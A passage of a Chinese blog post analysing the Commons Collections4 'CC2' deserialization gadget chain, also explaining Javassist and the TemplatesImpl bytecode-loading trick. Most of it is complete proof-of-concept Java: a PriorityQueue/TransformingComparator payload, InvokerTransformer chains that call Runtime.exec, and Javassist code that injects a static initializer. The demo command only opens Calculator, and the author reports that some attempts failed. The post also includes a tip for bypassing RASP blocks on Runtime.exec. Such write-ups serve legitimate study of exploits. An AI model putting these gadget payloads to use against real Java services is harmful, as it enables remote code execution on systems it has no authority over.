FileOutputStream("./cc2test.txt"));oos.writeObject(queue);oos.close();System.out.println(bos.toString());ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./cc2test.txt"));ois.close();} catch (FileNotFoundException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();}}
}

运行后弹了两个计算器,但是并未生成cc2test文件,抛出的异常在queue.add(2);
在这里插入图片描述
debug 起来
在这里插入图片描述
注意下图
在这里插入图片描述

这里需要这个函数的返回值 <0才不会break,继续跟进去
在这里插入图片描述

这里执行了两次恶意链,所以弹了两个计算器。
在这里插入图片描述

既然直接传入恶意 comparator 会在生成poc 的时候直接执行,那么就先不传comparator的,也就是comparator==null,那么siftUp()就会进入第二个函数,siftUpComparable()

  @SuppressWarnings("unchecked")private void siftUpComparable(int k, E x) {Comparable<? super E> key = (Comparable<? super E>) x;while (k > 0) {int parent = (k - 1) >>> 1;Object e = queue[parent];if (key.compareTo((E) e) >= 0)break;queue[k] = e;k = parent;}queue[k] = key;}

这个函数不会触发恶意链,在增加完两个值后,使用反射对 comparator进行赋值,酱紫就会在序列化的时候不会触发恶意comparator,而在反序列化的时候触发恶意comparator,poc如下

package yso;import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class CC22 {public static void main(String[] args) throws Exception {//  创建处理链ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}));TransformingComparator comparator = new TransformingComparator(chain);PriorityQueue queue = new PriorityQueue();queue.add(1);queue.add(2);Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");field.setAccessible(true);field.set(queue, comparator);try{ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.ser"));outputStream.writeObject(queue);outputStream.close();System.out.println(barr.toString());ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.ser"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
}
//没能成功弹出计算器,不知道为啥
java.io.NotSerializableException: org.apache.commons.collections4.functors.InvokerTransformerat java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1184)at java.io.ObjectOutputStream.writeArray(ObjectOutputStream.java:1378)at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1174)at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1548)at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1509)at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1432)at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178)at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1548)at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1509)at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1432)at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178)at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1548)at java.io.ObjectOutputStream.defaultWriteObject(ObjectOutputStream.java:441)at java.util.PriorityQueue.writeObject(PriorityQueue.java:763)at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)at java.lang.reflect.Method.invoke(Method.java:498)at java.io.ObjectStreamClass.invokeWriteObject(ObjectStreamClass.java:1155)at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1496)at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1432)at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178)at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:348)at yso.CC22.main(CC22.java:40)Process finished with exit code 0

Javassist

Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。

Javaassist 就是一个用来 处理 Java 字节码的类库。

它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。

使用介绍:

<dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.25.0-GA</version>
</dependency>
package yso;import javassist.*;public class CreatPerson {//创建一个Person 对象public static void createPseson() throws Exception {ClassPool pool = ClassPool.getDefault();// 1. 创建一个空类CtClass cc = pool.makeClass("yso.Person");// 2. 新增一个字段 private String name;// 字段名为nameCtField param = new CtField(pool.get("java.lang.String"), "name", cc);// 访问级别是 privateparam.setModifiers(Modifier.PRIVATE);// 初始值是 "lili"cc.addField(param, CtField.Initializer.constant("lili"));// 3. 生成 getter、setter 方法cc.addMethod(CtNewMethod.setter("setName", param));cc.addMethod(CtNewMethod.getter("getName", param));// 4. 添加无参的构造函数CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);cons.setBody("{name = \"oscar\";}");cc.addConstructor(cons);// 5. 添加有参的构造函数cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);// $0=this / $1,$2,$3... 代表方法参数cons.setBody("{$0.name = $1;}");cc.addConstructor(cons);// 6. 创建一个名为printName方法,无参数,无返回值,输出name值CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);ctMethod.setModifiers(Modifier.PUBLIC);ctMethod.setBody("{System.out.println(name);}");cc.addMethod(ctMethod);//这里会将这个创建的类对象编译为.class文件cc.writeFile("/Users/不可说的路径/log4jfx/src/main/java/");}public static void main(String[] args) {try {createPseson();} catch (Exception e) {e.printStackTrace();}}
}

在指定的目录内生成 Person.class 文件

运行结果
在这里插入图片描述

TemplatesImpl

这个 gadget 比较特殊的是用了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个内置类,

这个类在调用他的 newTransformer 或者 getOutputProperties (这个方法内部会调用 newTransformer) 时, 会动态从字节码中重建一个类。

这就使得如果我们能操作字节码, 就能在创建类时执任意 java 代码

在这个 gadget 中, 没有使用之前的 LazyMap, 而是使用的是 PriorityQueue + TransformingComparator 这套组合拳。

不过这个 exp 只对 CommonsCollections4 有效, 在 3 中 TransformingComparator 没有 implements Serializable, 导致无法序列化


TemplatesImpl#newTransformer()
在这里插入图片描述
跟踪 getTransletInstance()
在这里插入图片描述

这里 _name不能为null,_class需要为null,通过反射去设置值;

跟踪 defineTransletClasses()

    //A reference to the transformer factory that this templates object belongs to.  private transient TransformerFactoryImpl _tfactory = null;//巴拉巴拉private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) { // 注意  _bytecodes !!!!ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); // 注意 _tfactory !!!!}});try {final int classCount = _bytecodes.length;_class = new Class[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass(); // 注意 此行 !!!!// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}}

_bytecodes、_tfactory不能为null,一样反射设置
在这里插入图片描述

⬆️ 这里将bytes还原为class,然后_class[_transletIndex].getConstructor().newInstance()又进行了实例化,

那么使用Javassist写一个static块进去,实例化的话就会触发恶意代码

但是看419行, _bytecodes需要继承 AbstractTranslet,这个需要注意

package yso;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;import java.lang.reflect.Field;public class TemplatesImplTest {public static void main(String[] args) throws Exception {//	返回默认的ClassPoolClassPool pool = ClassPool.getDefault();//	将一个ClassPath加到类搜索路径起始位置pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));//	根据类名创建新的CtClass对象CtClass ctClass = pool.makeClass("Test");//	CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;//	设置继承类名ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));//	设置插入代码,多个语句需要{}包括String cmd = "Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");";//	创建空的构造函数(静态)CtConstructor ctConstructor = ctClass.makeClassInitializer();//	在方法的起始位置插入代码ctConstructor.insertBefore(cmd);//	根据CtClass生成 .class 文件ctClass.writeFile("/Users/shannon/Downloads/idea/poc/Log4j-exp-main/log4jfx/src/main/java/");//	将文件转为字节码byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = TemplatesImpl.class.newInstance();Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");setFieled(templates,clazz,"_name","tttt");setFieled(templates,clazz,"_class",null);setFieled(templates,clazz,"_bytecodes",new byte[][]{bytes});setFieled(templates,clazz,"_tfactory",new TransformerFactoryImpl());templates.newTransformer();}public static void setFieled(TemplatesImpl templates,Class clas ,String fieled,Object obj) throws Exception{Field _field = clas.getDeclaredField(fieled);_field.setAccessible(true);_field.set(templates,obj);}
}

在这里插入图片描述

poc2

上面的PriorityQueue 只能执行命令,这里使用Javasstis触发TemplatesImpl#newTransformer()就可以执行恶意代码,使用InvokerTransformer调用TemplatesImpl#newTransformer()

package yso;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class RealCC2 {public static void main(String[] args) throws Exception{//	使用InvokerTransformer触发TemplatesImpl#newTransformer()Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);constructor.setAccessible(true);InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");TransformingComparator Tcomparator = new TransformingComparator(transformer);PriorityQueue queue = new PriorityQueue(1);ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = pool.makeClass("Cat");String cmd = "java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");";cc.makeClassInitializer().insertBefore(cmd);//	虽然上面设置了类名为Cat,但是下面将类名更改为EvilCat+时间戳String randomClassName = "EvilCat" + System.nanoTime();cc.setName(randomClassName);//	没必要写文件的哈哈哈//cc.writeFile();cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] classBytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{classBytes};TemplatesImpl templates = TemplatesImpl.class.newInstance();setFieldValue(templates, "_bytecodes", targetByteCodes);setFieldValue(templates, "_name", "yq1ng");setFieldValue(templates, "_class", null);Object[] queue_array = new Object[]{templates,1};Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");queue_field.setAccessible(true);queue_field.set(queue,queue_array);//	这里没有使用queue.add(),所以使用反射直接设置size的值为2Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");size.setAccessible(true);size.set(queue,2);Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");comparator_field.setAccessible(true);comparator_field.set(queue,Tcomparator);try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./realcc2.ser"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./realcc2.ser"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = getField(obj.getClass(), fieldName);field.set(obj, value);}public static Field getField(final Class<?> clazz, final String fieldName) {Field field = null;try {field = clazz.getDeclaredField(fieldName);field.setAccessible(true);}catch (NoSuchFieldException ex) {if (clazz.getSuperclass() != null)field = getField(clazz.getSuperclass(), fieldName);}return field;}
}

生成字节码用的是 ysoseiral 一样的 javassist, 可以在正常的字节码前后插入恶意 payload

另外这里因为是运行的字节码, 所以其实变通方法很多, 如果只是想读写文件但有 RASP ban 掉了 Runtime.exec, 其实可以通过 File 来读写文件.

4 的修复方法比较粗暴, 直接干掉了 InvokerTransformer 的 Serializable 继承

没有成功弹出来

我已经麻了 不知道是什么原因

这篇关于yso gadget分析(1)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/375567

相关文章

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

SWAP作物生长模型安装教程、数据制备、敏感性分析、气候变化影响、R模型敏感性分析与贝叶斯优化、Fortran源代码分析、气候数据降尺度与变化影响分析

查看原文>>>全流程SWAP农业模型数据制备、敏感性分析及气候变化影响实践技术应用 SWAP模型是由荷兰瓦赫宁根大学开发的先进农作物模型,它综合考虑了土壤-水分-大气以及植被间的相互作用;是一种描述作物生长过程的一种机理性作物生长模型。它不但运用Richard方程,使其能够精确的模拟土壤中水分的运动,而且耦合了WOFOST作物模型使作物的生长描述更为科学。 本文让更多的科研人员和农业工作者

MOLE 2.5 分析分子通道和孔隙

软件介绍 生物大分子通道和孔隙在生物学中发挥着重要作用,例如在分子识别和酶底物特异性方面。 我们介绍了一种名为 MOLE 2.5 的高级软件工具,该工具旨在分析分子通道和孔隙。 与其他可用软件工具的基准测试表明,MOLE 2.5 相比更快、更强大、功能更丰富。作为一项新功能,MOLE 2.5 可以估算已识别通道的物理化学性质。 软件下载 https://pan.quark.cn/s/57

衡石分析平台使用手册-单机安装及启动

单机安装及启动​ 本文讲述如何在单机环境下进行 HENGSHI SENSE 安装的操作过程。 在安装前请确认网络环境,如果是隔离环境,无法连接互联网时,请先按照 离线环境安装依赖的指导进行依赖包的安装,然后按照本文的指导继续操作。如果网络环境可以连接互联网,请直接按照本文的指导进行安装。 准备工作​ 请参考安装环境文档准备安装环境。 配置用户与安装目录。 在操作前请检查您是否有 sud

线性因子模型 - 独立分量分析(ICA)篇

序言 线性因子模型是数据分析与机器学习中的一类重要模型,它们通过引入潜变量( latent variables \text{latent variables} latent variables)来更好地表征数据。其中,独立分量分析( ICA \text{ICA} ICA)作为线性因子模型的一种,以其独特的视角和广泛的应用领域而备受关注。 ICA \text{ICA} ICA旨在将观察到的复杂信号

【软考】希尔排序算法分析

目录 1. c代码2. 运行截图3. 运行解析 1. c代码 #include <stdio.h>#include <stdlib.h> void shellSort(int data[], int n){// 划分的数组,例如8个数则为[4, 2, 1]int *delta;int k;// i控制delta的轮次int i;// 临时变量,换值int temp;in

三相直流无刷电机(BLDC)控制算法实现:BLDC有感启动算法思路分析

一枚从事路径规划算法、运动控制算法、BLDC/FOC电机控制算法、工控、物联网工程师,爱吃土豆。如有需要技术交流或者需要方案帮助、需求:以下为联系方式—V 方案1:通过霍尔传感器IO中断触发换相 1.1 整体执行思路 霍尔传感器U、V、W三相通过IO+EXIT中断的方式进行霍尔传感器数据的读取。将IO口配置为上升沿+下降沿中断触发的方式。当霍尔传感器信号发生发生信号的变化就会触发中断在中断

kubelet组件的启动流程源码分析

概述 摘要: 本文将总结kubelet的作用以及原理,在有一定基础认识的前提下,通过阅读kubelet源码,对kubelet组件的启动流程进行分析。 正文 kubelet的作用 这里对kubelet的作用做一个简单总结。 节点管理 节点的注册 节点状态更新 容器管理(pod生命周期管理) 监听apiserver的容器事件 容器的创建、删除(CRI) 容器的网络的创建与删除

PostgreSQL核心功能特性与使用领域及场景分析

PostgreSQL有什么优点? 开源和免费 PostgreSQL是一个开源的数据库管理系统,可以免费使用和修改。这降低了企业的成本,并为开发者提供了一个活跃的社区和丰富的资源。 高度兼容 PostgreSQL支持多种操作系统(如Linux、Windows、macOS等)和编程语言(如C、C++、Java、Python、Ruby等),并提供了多种接口(如JDBC、ODBC、ADO.NET等

OpenCV结构分析与形状描述符(11)椭圆拟合函数fitEllipse()的使用

操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C++11 算法描述 围绕一组2D点拟合一个椭圆。 该函数计算出一个椭圆,该椭圆在最小二乘意义上最好地拟合一组2D点。它返回一个内切椭圆的旋转矩形。使用了由[90]描述的第一个算法。开发者应该注意,由于数据点靠近包含的 Mat 元素的边界,返回的椭圆/旋转矩形数据